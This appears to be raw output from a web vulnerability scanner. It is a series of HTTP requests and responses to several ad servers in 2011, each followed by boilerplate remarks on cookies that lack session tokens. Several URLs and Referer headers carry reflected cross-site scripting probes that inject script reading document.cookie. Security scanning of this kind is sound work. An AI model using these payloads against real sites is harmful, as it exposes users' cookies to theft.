GET /www/delivery/lg.php?bannerid=10&campaignid=3&zoneid=4&loc=http%3A%2F%2Fwww.masjo.com%2Fsearch%2Flearn+typing+quick+and+easy+cracka074f%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253Ec4a5acfda9b%2Fpage%2F419%2Fx22&referer=http%3A%2F%2Fburp%2Fshow%2F30&cb=bd3aec0742 HTTP/1.1 Host: ad.masjo.com Proxy-Connection: keep-alive Referer: http://www.masjo.com/search/learn+typing+quick+and+easy+cracka074f%3Cscript%3Ealert(document.cookie)%3C/script%3Ec4a5acfda9b/page/419/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=84cb75988ed38bcbe06c44d77408a71e
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /server/ads.js?pub=11185880&cch=11185948&code=11186021&l=728x90&aid=25473179&ahcid=639152&bimpd=JfYWx_x-jXNCK9IpMegyhUWfskX0pU8P9f7Q1yXyGzQemn_EqX28BMzorUm1RHhKGx-kTq2w2kpNwnvUPTFSYA_80oR-SV_VDSGrzVIaqwv7xQM1WSLXOFPtmTbFrBpcKHYDU3ZzQbGAadh-eeMHWfO4Zgq6ktzuNhF_bLK0LPbphxV42Q4h_ZsNyhD18qZoRsuasRkxi1Z1k2rPptD9P8PLpt1hXOJjICjWtT2yiK1991S-sQEpjv_uMS6ILCsrwnU36lwYe7slfVjZEaepylBgMkh3271niMXNcwzAAnkA3U_Zfy6PETxQfgT8J-eT3nHNrRxpSP9nzpJZWA2Oy_F-ABQAi523H0QKxGD94Z1KPSA4tJC98-OHWr7_Um1WZpe8EWvwpVEb2wDc62rx0S06fjS1aNldrC9NAsPnTeFe4dD9Jr8W6-GV7RTJi0dWCJlznOYZcJIyl5aWWTKHL8QbIlH3bhQ14447S7BulD2NXHmwdmZPdbayfYow3TS_3DJsjXLE29UpHD0D8hJpAOZI2lttlojyr18-kq0-aK4JBWy7dWMINLXjafqXKN-yikbmhRmyXpRqygwkLDH5nb3wc-cQ7FRKnITKYzO3zYW_xnlzUqpmXl7pHtXggKmUbVUxMzpfpDP-5pvCsEjEu9gSUaiszXPUJLnjJ5pOEcFJzTMxAkdIK6WQ3ZcMhBFc0GRnvhpqQeoi_DKnimnnEdWAtgHpEXC7-jTjtY7xtW70-FfeNmDs5wqwDfThppao&acp=TT4o8AAAtGwK5T0lMKVG2jUduhdCo64LBk_xIw&3c=http://adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBUDXq8Cg-TezoAqX6lAfajZWFA4200M4B9bmdvRSFp5HyFwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1sgEOam9vbWxhY29kZS5vcme6AQk3Mjh4OTBfYXPIAQnaATJodHRwOi8vam9vbWxhY29kZS5vcmcvZ2YvcHJvamVjdC9qb29tbGEvcmVwb3J0aW5nL5gCggHAAgTIArWc1RHgAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtzBe5EVxfoGXmcp6PQnZKB63g35FA%26client%3Dca-pub-1189370408998555%26adurl%3D HTTP/1.1 Host: ad.turn.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pf=TiY2Y7UsIzsDKs0LviDMrF7Y4FfMul_JqNyl-f7qrdKJwV9kSIzX4BtZ7vBDkFqi6PyIdXvx0rnLfhzRtOOBc34lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14983%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1; uid=3011330574290390485
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel?adv=60652&code=AS17&t=2&rnd=1327772520 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/10?ret=html&phint=pageName%3Dunknown&phint=pageRequestID%3D427D360F-AD19-8945-2CEDA65620083A33&phint=affiliateGroupName%3DSearch%20Engine%20Optimization%20Project&phint=affiliateName%3DSEO%20DTS%20-%20Google%20ABTL%2013148&phint=campaign%3D13148&phint=__bk_t%3DBuy%20your%20next%20new%20or%20used%20car%20online%20with%20our%20New%20Car%20Pricing%20Guides%2C%20Car%20Reviews%2C%20Vehicle%20Comparisons%20and%20Used%20Car%20Inventory%20services.%20%7C%20Autobytel.com&phint=__bk_k%3DPricing%2CGuide%2Cbuy%20a%20new%20car%2Cbuy%20a%20used%20auto%2Cnew%20auto%2Cused%20auto%2Cnew%20car%2Cused%20car%2Cnew%20car%20pricing%2Cused%20car%20pricing%2Cdealer%2Clocal%20dealer%2C%20new%20car%20inventory%2C%20used%20car%20inventory&limit=10&r=42794077 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=uid=2c382b2c-154d-11e0-8090-001e6849f405&_hmacv=1&_salt=2076931618&_keyid=k1&_hmac=deb36388c0462f4f1745f3224a27addc34e20c73; pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; ih="b!!!!0!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!.N)i!!!!#<htgq!.`.U!!!!#<jHA_!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF"; pv1="b!!!!%!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#M*E!!E)$!$XwU!/uG1!%:2w!#:m1!?5%!'2gi6!xSD7!%4=%!%@78!'>cr~~~~~<jbOF<ka5`~"; bh="b!!!#$!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!#<ie@S!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!L(*!!!!#<h67=!!`Yp!!!!#<htUb!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#*VS!!!!#<jLPe!#-vv!!!!$<iC/K!#0$b!!!!%<hu%0!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(V!!!!#<jHAu!#5(X!!!!#<jLPe!#5(]!!!!#<jLPe!#5(`!!!!#<jLPe!#7(x!!!!#<ie@S!#8:i!!!!#<jc#c!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#C-Y!!!!#<iC/U!#Kbb!!!!#<jLP/!#MP0!!!!#<jLPe!#PrV!!!!#<iC/U!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#U5p!!!!#<gj@R!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#ZPo!!!!#<ie2`!#ZhT!!!!#<ie@S!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<f!!!!#<jLPe!#b<h!!!!#<jHAu!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b<x!!!!#<jLPe!#b=J!!!!#<jLPi!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#f93!!!!#<gj@R!#fBu!!!!#<gj@R!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#l)E!!!!#<iC/U"
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:07:10 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: bh="b!!!#%!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!#<ie@S!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!L(*!!!!#<h67=!!`Yp!!!!#<htUb!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#*VS!!!!#<jLPe!#-vv!!!!$<iC/K!#0$b!!!!%<hu%0!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(V!!!!#<jHAu!#5(X!!!!#<jLPe!#5(]!!!!#<jLPe!#5(`!!!!#<jLPe!#7(x!!!!#<ie@S!#8:i!!!!#<jc#c!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#C-Y!!!!#<iC/U!#Kbb!!!!#<jLP/!#MP0!!!!#<jLPe!#PrV!!!!#<iC/U!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#U5p!!!!#<gj@R!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#ZPo!!!!#<ie2`!#ZhT!!!!#<ie@S!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<f!!!!#<jLPe!#b<h!!!!#<jHAu!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b<x!!!!#<jLPe!#b=J!!!!#<jLPi!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#f93!!!!#<gj@R!#fBu!!!!#<gj@R!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#l)E!!!!#<iC/U!#mOI!!!!#<k0fB"; path=/; expires=Wed, 23-Jan-2013 21:07:10 GMT Cache-Control: no-store Last-Modified: Mon, 24 Jan 2011 21:07:10 GMT Pragma: no-cache Content-Length: 43 Content-Type: image/gif Age: 0 Proxy-Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /unpixel?id=494248&t=2 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=uid=2c382b2c-154d-11e0-8090-001e6849f405&_hmacv=1&_salt=2076931618&_keyid=k1&_hmac=deb36388c0462f4f1745f3224a27addc34e20c73; pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; ih="b!!!!0!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!.N)i!!!!#<htgq!.`.U!!!!#<jHA_!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF"; pv1="b!!!!%!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#M*E!!E)$!$XwU!/uG1!%:2w!#:m1!?5%!'2gi6!xSD7!%4=%!%@78!'>cr~~~~~<jbOF<ka5`~"; bh="b!!!#I!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!$<k3BW!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!#<k3BW!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!4<u!!!!#<k3BW!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!Mr(!!ErC<k0fB!!`Yp!!!!#<htUb!!iEb!!!!#<k3BW!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#(mB!!!!#<k11E!#*VS!!!!#<jLPe!#-vv!!!!$<iC/K!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#3pw!!!!#<k11E!#5(V!!!!#<jHAu!#5(X!!!!#<jLPe!#5(]!!!!#<jLPe!#5(`!!!!#<jLPe!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!$<k3BW!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#C-Y!!!!#<iC/U!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#PrV!!!!#<iC/U!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#ZPo!!!!#<ie2`!#ZhT!!!!$<k3BW!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<f!!!!#<jLPe!#b<h!!!!#<jHAu!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b<x!!!!#<jLPe!#b=J!!!!#<jLPi!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!#<k3BW!#fBk!!!!#<k3BW!#fBm!!!!#<k3BW!#fBn!!!!#<k3BW!#fBu!!!!#<gj@R!#fG+!!!!#<k3BW!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#h.N!!!!#<k11E!#l)E!!!!#<iC/U!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p]T!!!!#<k11E"
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:19:11 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Set-Cookie: bh="b!!!#J!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!-?2!!!!$<k3BW!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!#<k3BW!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!4<u!!!!#<k3BW!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!Mr(!!ErC<k0fB!!`Yp!!!!#<htUb!!iEb!!!!#<k3BW!!iF_~~!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#(mB!!!!#<k11E!#*VS!!!!#<jLPe!#-vv!!!!$<iC/K!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#3pw!!!!#<k11E!#5(V!!!!#<jHAu!#5(X!!!!#<jLPe!#5(]!!!!#<jLPe!#5(`!!!!#<jLPe!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!$<k3BW!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#C-Y!!!!#<iC/U!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#PrV!!!!#<iC/U!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#ZPo!!!!#<ie2`!#ZhT!!!!$<k3BW!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#`SX!!!!#<gj@R!#a0h!!!!#<ie2`!#a=#!!!!#<iC/U!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<f!!!!#<jLPe!#b<h!!!!#<jHAu!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b<x!!!!#<jLPe!#b=J!!!!#<jLPi!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c%+!!!!#<iC/U!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#ec+!!!!#<ie2`!#ec,!!!!#<iJoK!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!#<k3BW!#fBk!!!!#<k3BW!#fBm!!!!#<k3BW!#fBn!!!!#<k3BW!#fBu!!!!#<gj@R!#fG+!!!!#<k3BW!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#g'E!!!!#<gj@R!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#h.N!!!!#<k11E!#l)E!!!!#<iC/U!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p]T!!!!#<k11E"; path=/; expires=Thu, 24-Jan-2013 02:19:11 GMT Cache-Control: no-store Last-Modified: Tue, 25 Jan 2011 02:19:11 GMT Pragma: no-cache Content-Length: 43 Content-Type: image/gif Age: 0 Proxy-Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adserver/behavioral-data/8201?d=49,123 HTTP/1.1 Host: ads.adbrite.com Proxy-Connection: keep-alive Referer: http://loadus.exelator.com/load/net.php?n=PGltZyBzcmM9Imh0dHA6Ly9hZHMuYWRicml0ZS5jb20vYWRzZXJ2ZXIvYmVoYXZpb3JhbC1kYXRhLzgyMDE%2FZD00OSwxMjMiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGJvcmRlcj0iMCI%2BPC9pbWc%2BPHNjcmlwdCBzcmM9Imh0dHA6Ly9zZWdtZW50LXBpeGVsLmludml0ZW1lZGlhLmNvbS9waXhlbD9wYXJ0bmVySUQ9NzkmY29kZT0yODUzNzkmY29kZT0zMDI3NzUma2V5PXNlZ21lbnQmcmV0dXJuVHlwZT1qcyI%2BPC9zY3JpcHQ%2BPGltZyBzcmM9Imh0dHA6Ly9hLmNvbGxlY3RpdmUtbWVkaWEubmV0L2RhdGFwYWlyP25ldD1leCZzZWdzPTc2LDMyJm9wPWFkZCIgd2lkdGg9IjEiIGhlaWdodD0iMSI%2BPC9pbWc%2B&h=801802b5e74884030c94b77c781c1c27 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=168362173x0.688+1294536261x899753879; cv=1%3Aq1ZyLi0uyc91zUtWslIySyktr0nPLLDMMi8zrjGwMswuNjMusjK0MlCqBQA%3D; ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z1fSUUpKzMtLLcoEK1CqrQUA; rb="0:712156:20822400:6ch47d7o8wtv:0:742697:20828160:3011330574290390485:0:753292:20858400:CA-00000000456885722:0:762701:20861280:D8DB51BF08484217F5D14AB47F4002AD:0"; srh=1%3Aq64FAA%3D%3D; vsd="0@2@4d3db691@www.hotelsbycity.com"
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Date: Mon, 24 Jan 2011 21:07:11 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC" Server: Apache-Coyote/1.1 Set-Cookie: ut=1%3Aq1YqM1KyqlbKTq0szy9KKVayUsotTzQprDHMLja3sKwxrTE0z9dJzsiwSC%2BoysmrMczJSS%2BqqjGsMYAJZuUgCSrpKCUl5uWlFmWCjVKqrQUA; Domain=.adbrite.com; Expires=Thu, 21-Jan-2021 21:07:11 GMT; Path=/ Set-Cookie: vsd="0@1@4d3de9ff@loadus.exelator.com"; Version=1; Domain=.adbrite.com; Max-Age=172800; Path=/ Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /www/delivery/afr.php?zoneid=45&cb=456 HTTP/1.1 Host: ads.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /www/delivery/ck.php HTTP/1.1 Host: ads.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: OAID=69cbb92020bcada4c658c1886472c417;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:29:37 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=69cbb92020bcada4c658c1886472c417; expires=Tue, 24-Jan-2012 22:29:37 GMT; path=/ Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /www/delivery/lg.php?bannerid=409&campaignid=194&zoneid=45&loc=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fmusic-scenea960d%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253Eb7d5247b69c%2F2010%2F11%2Fpianist-geoffrey-saba-performs-at-aubs-assembly-hall%2Fx22&cb=cb57b3cbbe HTTP/1.1 Host: ads.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://ads.dailystar.com.lb/www/delivery/afr.php?zoneid=45&cb=456 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=69cbb92020bcada4c658c1886472c417
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
